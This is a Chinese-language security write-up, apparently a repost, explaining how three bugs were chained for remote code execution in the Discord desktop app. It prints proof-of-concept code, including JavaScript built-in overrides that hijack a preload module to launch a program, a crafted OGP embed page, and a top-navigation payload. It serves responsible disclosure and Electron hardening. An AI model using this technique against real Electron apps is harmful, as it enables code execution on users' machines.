写点什么

Discord 桌面应用远程代码执行漏洞分析

作者:qife122
  • 2025-09-28
    福建
  • 本文字数:4961 字

    阅读完需:约 16 分钟

Discord 桌面应用 RCE

几个月前,我在 Discord 桌面应用中发现了一个远程代码执行问题,并通过他们的漏洞奖励计划进行了报告。我发现的这个 RCE 很有趣,因为它是通过组合多个漏洞实现的。在本文中,我将分享详细信息。

为什么选择 Discord 作为目标

我有点想寻找 Electron 应用的漏洞,所以正在寻找为 Electron 应用支付奖金的漏洞奖励计划,然后发现了 Discord。另外,我也是 Discord 用户,只是想检查一下我使用的应用是否安全,所以决定进行调查。

发现的漏洞

我基本上发现了以下三个漏洞,并通过组合它们实现了 RCE:


  • 缺失上下文隔离

  • iframe 嵌入中的 XSS

  • 导航限制绕过(CVE-2020-15174)


我将逐一解释这些漏洞。

缺失上下文隔离

当我测试 Electron 应用时,首先总是检查用于创建浏览器窗口的 BrowserWindow API 的选项。通过检查它,我思考当在渲染器上可能执行任意 JavaScript 时,如何实现 RCE。


Discord 的 Electron 应用不是开源项目,但 Electron 的 JavaScript 代码以 asar 格式本地保存,我只需解压就能读取它。


在主窗口中,使用了以下选项:


const mainWindowOptions = {  title: 'Discord',  backgroundColor: getBackgroundColor(),  width: DEFAULT_WIDTH,  height: DEFAULT_HEIGHT,  minWidth: MIN_WIDTH,  minHeight: MIN_HEIGHT,  transparent: false,  frame: false,  resizable: true,  show: isVisible,  webPreferences: {    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',    nodeIntegration: false,    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),    nativeWindowOpen: true,    enableRemoteModule: false,    spellcheck: true  }};
复制代码


这里我们应该检查的重要选项特别是 nodeIntegration 和 contextIsolation。从上面的代码中,我发现 Discord 主窗口中的 nodeIntegration 选项设置为 false,contextIsolation 选项设置为 false(所用版本的默认值)。


如果 nodeIntegration 设置为 true,网页的 JavaScript 只需调用 require()就可以轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方法是:


<script>  require('child_process').exec('calc');</script>
复制代码


这次 nodeIntegration 设置为 false,所以我不能直接调用 require()来使用 Node.js 功能。


但是,仍然有可能访问 Node.js 功能。另一个重要选项 contextIsolation 设置为 false。如果你想消除应用中 RCE 的可能性,这个选项不应该设置为 false。


如果 contextIsolation 被禁用,网页的 JavaScript 可以影响渲染器上 Electron 内部 JavaScript 代码的执行,以及预加载脚本的执行(以下将这些 JavaScript 称为网页外部的 JavaScript 代码)。


例如,如果你从网页的 JavaScript 中用另一个函数覆盖 JavaScript 内置方法之一的 Array.prototype.join,当调用 join 时,网页外部的 JavaScript 代码也会使用被覆盖的函数。


这种行为是危险的,因为 Electron 允许网页外部的 JavaScript 代码使用 Node.js 功能,而不管 nodeIntegration 选项如何,并且通过从网页中覆盖的函数干扰它们,即使 nodeIntegration 设置为 false,也有可能实现 RCE。


顺便说一下,这样的技巧以前并不为人所知。它最早是在 2016 年由 Cure53(我也参加了)的一次渗透测试中发现的。之后,我们向 Electron 团队报告,并引入了 contextIsolation。


最近,那次渗透测试报告被公开了。如果你感兴趣,可以从以下链接阅读:


Pentest-Report Ethereum Mist 11.2016 - 10.2017https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view


你也可以阅读我在 CureCon 活动中使用的幻灯片:


contextIsolation 引入了网页和网页外部 JavaScript 代码之间的分离上下文,使得每个代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要功能,但这次在 Discord 中被禁用了。


现在我发现 contextIsolation 被禁用,所以开始寻找可以通过干扰网页外部 JavaScript 代码来执行任意代码的地方。


通常,当我在 Electron 渗透测试中创建 RCE 的 PoC 时,首先尝试使用渲染器上的 Electron 内部 JavaScript 代码实现 RCE。这是因为渲染器上的 Electron 内部 JavaScript 代码可以在任何 Electron 应用中执行,所以基本上我可以重用相同的代码来实现 RCE,这很容易。


在我的幻灯片中,我介绍了可以通过使用 Electron 在导航时执行的代码来实现 RCE。不仅可以从那个代码实现,而且在一些地方有这样的代码。(我希望将来发布 PoC 的例子。)


但是,根据使用的 Electron 版本或设置的 BrowserWindow 选项,由于代码已经更改或无法正确到达受影响的代码,有时通过 Electron 代码的 PoC 效果不好。这次它没有工作,所以我决定将目标改为预加载脚本。


在检查预加载脚本时,我发现 Discord 向网页暴露了一个函数,允许通过 DiscordNative.nativeModules.requireModule('MODULE-NAME')调用一些允许的模块。


在这里,我不能直接使用可以用于 RCE 的模块,比如 child_process 模块,但我发现了一个可以通过覆盖 JavaScript 内置方法并干扰暴露模块的执行来实现 RCE 的代码。


以下是 PoC。当我从 devTools 调用名为"discord_utils"的模块中定义的 getGPUDriverVersions 函数时,同时覆盖 RegExp.prototype.test 和 Array.prototype.join,我能够确认弹出了 calc 应用。


RegExp.prototype.test=function(){    return false;}Array.prototype.join=function(){    return "calc";}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
复制代码


getGPUDriverVersions 函数尝试使用"execa"库执行程序,如下所示:


module.exports.getGPUDriverVersions = async () => {  if (process.platform !== 'win32') {    return {};  }  const result = {};  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;  try {    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));  } catch (e) {    result.nvidia = {error: e.toString()};  }  return result;};
复制代码


通常 execa 尝试执行 nvidiaSmiPath 变量中指定的"nvidia-smi.exe",但是由于覆盖了 RegExp.prototype.test 和 Array.prototype.join,参数在 execa 的内部处理中被替换为"calc"。


具体来说,通过更改以下两个部分来替换参数:https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55


剩下的工作是找到在应用上执行 JavaScript 的方法。如果我能找到它,就会导致实际的 RCE。

iframe 嵌入中的 XSS

如上所述,我发现任意 JavaScript 执行可能导致 RCE,所以我试图找到一个 XSS 漏洞。应用支持自动链接或 Markdown 功能,但看起来不错。所以我将注意力转向了 iframe 嵌入功能。iframe 嵌入是当发布 YouTube URL 时,例如,自动在聊天中显示视频播放器的功能。


当 URL 被发布时,Discord 尝试获取该 URL 的 OGP 信息,如果存在 OGP 信息,它会在聊天中显示页面的标题、描述、缩略图、相关视频等。


Discord 从 OGP 中提取视频 URL,只有当视频 URL 是允许的域并且 URL 实际上具有嵌入页面的 URL 格式时,该 URL 才会被嵌入到 iframe 中。


我找不到关于哪些服务可以嵌入 iframe 的文档,所以我尝试通过检查 CSP 的 frame-src 指令来获取提示。当时,使用了以下 CSP:


Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
复制代码


显然,其中一些被列出以允许 iframe 嵌入(例如 YouTube、Twitch、Spotify)。


我尝试通过将域逐个指定到 OGP 信息中来检查 URL 是否可以嵌入 iframe,并尝试在嵌入的域上查找 XSS。经过一些尝试,我发现 CSP 中列出的域之一 sketchfab.com 可以嵌入 iframe,并在嵌入页面上发现了 XSS。


我当时不了解 Sketchfab,但它似乎是一个用户可以发布、购买和销售 3D 模型的平台。在 3D 模型的脚注中有一个简单的基于 DOM 的 XSS。


以下是 PoC,具有精心制作的 OGP。当我将这个 URL 发布到聊天时,Sketchfab 被嵌入到聊天中的 iframe 中,在 iframe 上点击几次后,任意 JavaScript 被执行。


https://l0.cm/discord_rce_og.html


<head>    <meta charset="utf-8">    <meta property="og:title" content="RCE DEMO">    [...]    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">    <meta property="og:video:type" content="text/html">    <meta property="og:video:width" content="1280">    <meta property="og:video:height" content="720"></head>
复制代码


好的,我终于找到了一个 XSS,但 JavaScript 仍然在 iframe 上执行。由于 Electron 不会将"网页外部的 JavaScript 代码"加载到 iframe 中,所以即使我覆盖了 iframe 上的 JavaScript 内置方法,也无法干扰 Node.js 的关键部分。为了实现 RCE,我们需要跳出 iframe 并在顶级浏览上下文中执行 JavaScript。这需要从 iframe 打开新窗口或从 iframe 将顶部窗口导航到另一个 URL。


我检查了相关代码,发现在主进程代码中使用了"new-window"和"will-navigate"事件来限制导航的代码:


mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {  e.preventDefault();  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);  } else {    _electron.shell.openExternal(windowURL);  }});[...]mainWindow.webContents.on('will-navigate', (evt, url) => {  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {    evt.preventDefault();  }});
复制代码


我认为这段代码可以正确地防止用户打开新窗口或导航顶部窗口。但是,我注意到了意外的行为。

导航限制绕过(CVE-2020-15174)

我认为代码没问题,但我尝试检查从 iframe 进行的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻止。我预计尝试会在导航发生之前被"will-navigate"事件捕获,并被 preventDefault()拒绝,但事实并非如此。


为了测试这种行为,我创建了一个小的 Electron 应用。我发现由于某种原因,从 iframe 开始的顶部导航不会发出"will-navigate"事件。准确地说,如果顶部源和 iframe 源是同源的,事件会发出,但如果它是不同源的,事件不会发出。我不认为这种行为有合法理由,所以我认为这是 Electron 的一个错误,并决定稍后向 Electron 团队报告。


借助这个错误,我能够绕过导航限制。最后我要做的只是使用 iframe 的 XSS 导航到包含 RCE 代码的页面,比如 top.location="//l0.cm/discord_calc.html"。


通过这种方式,通过组合三个漏洞,我能够实现 RCE,如下面的视频所示。

最后

这些问题通过 Discord 的漏洞奖励计划报告。首先,Discord 团队禁用了 Sketchfab 嵌入,并采取了变通方法,通过向 iframe 添加 sandbox 属性来防止从 iframe 导航。一段时间后,contextIsolation 被启用。现在即使我可以在应用上执行任意 JavaScript,也不会通过覆盖的 JavaScript 内置方法发生 RCE。我因这一发现获得了 5000 美元的奖励。


Sketchfab 上的 XSS 通过 Sketchfab 的漏洞奖励计划报告,并由 Sketchfab 开发人员快速修复。我因这一发现获得了 300 美元的奖励。


"will-navigate"事件中的错误作为 Electron 的错误报告给 Electron 的安全团队,并被修复为以下漏洞(CVE-2020-15174)。


Unpreventable top-level navigation · Advisory · electron/electronhttps://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674


就是这样。


个人而言,我喜欢外部页面的错误或 Electron 的错误,这些与应用本身的实现无关,导致了 RCE :)


我希望这篇文章能帮助你保持 Electron 应用的安全。


谢谢阅读!更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
Discord桌面应用远程代码执行漏洞分析_Electron_qife122_InfoQ写作社区